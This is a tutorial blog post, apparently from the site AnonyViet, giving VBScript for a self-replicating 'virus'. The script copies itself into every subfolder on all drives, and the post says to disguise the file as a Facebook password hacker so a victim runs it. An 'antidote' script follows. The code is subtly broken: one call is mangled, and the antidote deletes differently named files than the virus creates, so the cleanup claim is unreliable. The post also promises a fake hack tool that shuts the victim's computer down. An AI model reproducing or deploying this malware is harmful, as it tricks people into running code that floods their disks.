Hi hello guys! today AnonyViet will guide you to create a mass copy virus to make the victim’s computer flooded with viruses
Join the channel Telegram of the AnonyViet 👉 Link 👈 |
Step 1: Open up your notepad
Step 2: Then copy this code and paste it into notepad ! and then save it with any name like: hack facebook password for example
'Thuoc Doc !!! Dim fso,file,VBCopy Set fso=CreateObject("Scripting.FileSystemObject") Set file=fspenTextFile(WScript.ScriptFullName,1) VBCopy=file.ReadAll FolderList("A:") FolderList("B:") FolderList("C:") FolderList("D:") FolderList("E:") FolderList("F:") FolderList("G:") FolderList("H:") FolderList("I:") FolderList("J:") FolderList("K:") FolderList("L:") FolderList("M:") FolderList("N:") FolderList("O:") FolderList("P:") FolderList("Q:") FolderList("R:") FolderList("S:") FolderList("T:") FolderList("U:") FolderList("V:") FolderList("X:") FolderList("Y:") FolderList("Z:") FolderList("W:") Sub FolderList(FolderSpec) On Error Resume Next Dim f,f1,sf,COP,CAP Set f=fso.GetFolder(FolderSpec) set sf=f.SubFolders For Each f1 In sf Set COP=fso.CreateTextFile(f1.path & "\Virus Boss !!!!!!!.vbs") COP.write VBCopy Set CAP=fso.CreateTextFile(f1.path & "---Virus Boss !!!!!!!.vbs") CAP.write VBCopy FolderList(f1.Path) Next End sub
Of course every poison has an antidote 🙂 You just need to copy the Code Below and Paste it into notepad and save it as Thuocgiai.vbs and you’re done 😎
'Thuoc Giai Dim fso,file,VBCopy Set fso=CreateObject("Scripting.FileSystemObject") Set file=fso.OpenTextFile(WScript.ScriptFullName,1) VBCopy=file.ReadAll FolderList("A:") FolderList("B:") FolderList("C:") FolderList("D:") FolderList("E:") FolderList("F:") FolderList("G:") FolderList("H:") FolderList("I:") FolderList("J:") FolderList("K:") FolderList("L:") FolderList("M:") FolderList("N:") FolderList("O:") FolderList("P:") FolderList("Q:") FolderList("R:") FolderList("S:") FolderList("T:") FolderList("U:") FolderList("V:") FolderList("X:") FolderList("Y:") FolderList("Z:") FolderList("W:") Sub FolderList(FolderSpec) On Error Resume Next Dim f,f1,sf,COP,CAP,ATT Set f=fso.GetFolder(FolderSpec) set sf=f.SubFolders For Each f1 In sf 'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs") 'COP.write VBCopy 'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs") 'CAP.write VBCopy 'Set ATT=fso.GetFolder(f1.Path) 'ATT.Attributes=ATT.Attributes+2 fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs") fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs") FolderList(f1.Path) Next End sub
So AnonyViet helped you create a very cool friend troll virus :v ! Next time, the ad will create a shutdown virus (shutdown the victim) in the form of Hack Facebook 🙂 ! When Victim thinks it’s a real hack and clicks Start Hack, the program will run like a real hack! then hang the virus so that the victim can’t stop the program and then Shutdown 😀 ! Remember to look forward to it 😉
Good luck !